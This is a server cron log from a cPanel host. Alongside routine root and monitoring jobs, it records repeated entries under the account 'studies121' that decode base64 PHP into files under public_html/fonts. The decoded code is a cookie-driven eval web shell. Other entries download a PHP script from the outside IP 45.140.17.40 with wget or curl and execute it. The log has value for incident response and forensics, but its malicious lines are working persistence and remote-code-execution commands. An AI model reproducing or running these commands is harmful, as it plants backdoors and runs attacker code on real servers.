Sep 10 13:01:02 ip-184-168-122-23 CROND[11939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:01:02 ip-184-168-122-23 CROND[11941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:01:02 ip-184-168-122-23 CROND[11938]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 13:01:02 ip-184-168-122-23 CROND[11940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:01:02 ip-184-168-122-23 CROND[11942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11938]: starting 0anacron
Sep 10 13:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11960]: finished 0anacron
Sep 10 13:02:01 ip-184-168-122-23 CROND[12052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:02:01 ip-184-168-122-23 CROND[12054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:02:01 ip-184-168-122-23 CROND[12057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:02:01 ip-184-168-122-23 CROND[12056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:02:01 ip-184-168-122-23 CROND[12059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:03:01 ip-184-168-122-23 CROND[12169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:03:01 ip-184-168-122-23 CROND[12171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:03:01 ip-184-168-122-23 CROND[12172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:03:01 ip-184-168-122-23 CROND[12173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:04:01 ip-184-168-122-23 CROND[12278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:04:01 ip-184-168-122-23 CROND[12279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:04:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:04:01 ip-184-168-122-23 CROND[12281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:04:01 ip-184-168-122-23 CROND[12282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:05:01 ip-184-168-122-23 CROND[12471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:05:01 ip-184-168-122-23 CROND[12473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:05:01 ip-184-168-122-23 CROND[12474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:05:01 ip-184-168-122-23 CROND[12475]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:05:01 ip-184-168-122-23 CROND[12479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:05:01 ip-184-168-122-23 CROND[12476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:05:01 ip-184-168-122-23 CROND[12477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:06:01 ip-184-168-122-23 CROND[12575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:06:01 ip-184-168-122-23 CROND[12576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:06:01 ip-184-168-122-23 CROND[12578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:06:01 ip-184-168-122-23 CROND[12579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:06:01 ip-184-168-122-23 CROND[12580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:07:01 ip-184-168-122-23 CROND[12685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:07:01 ip-184-168-122-23 CROND[12686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:07:01 ip-184-168-122-23 CROND[12688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:07:01 ip-184-168-122-23 CROND[12687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:08:01 ip-184-168-122-23 CROND[12786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:08:01 ip-184-168-122-23 CROND[12785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:08:01 ip-184-168-122-23 CROND[12789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:08:01 ip-184-168-122-23 CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:08:01 ip-184-168-122-23 CROND[12788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:09:02 ip-184-168-122-23 CROND[12900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:09:02 ip-184-168-122-23 CROND[12902]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 13:09:02 ip-184-168-122-23 CROND[12903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:09:02 ip-184-168-122-23 CROND[12905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:09:02 ip-184-168-122-23 CROND[12904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:10:01 ip-184-168-122-23 CROND[13019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:10:01 ip-184-168-122-23 CROND[13021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:10:01 ip-184-168-122-23 CROND[13022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:10:01 ip-184-168-122-23 CROND[13024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:10:01 ip-184-168-122-23 CROND[13025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:10:01 ip-184-168-122-23 CROND[13029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:10:01 ip-184-168-122-23 CROND[13031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:10:01 ip-184-168-122-23 CROND[13030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:11:02 ip-184-168-122-23 CROND[13200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:11:02 ip-184-168-122-23 CROND[13202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:11:02 ip-184-168-122-23 CROND[13201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:11:02 ip-184-168-122-23 CROND[13203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:12:01 ip-184-168-122-23 CROND[13290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:12:01 ip-184-168-122-23 CROND[13291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:12:01 ip-184-168-122-23 CROND[13294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:12:01 ip-184-168-122-23 CROND[13293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:12:01 ip-184-168-122-23 CROND[13295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:13:01 ip-184-168-122-23 CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:13:01 ip-184-168-122-23 CROND[13390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:13:01 ip-184-168-122-23 CROND[13388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
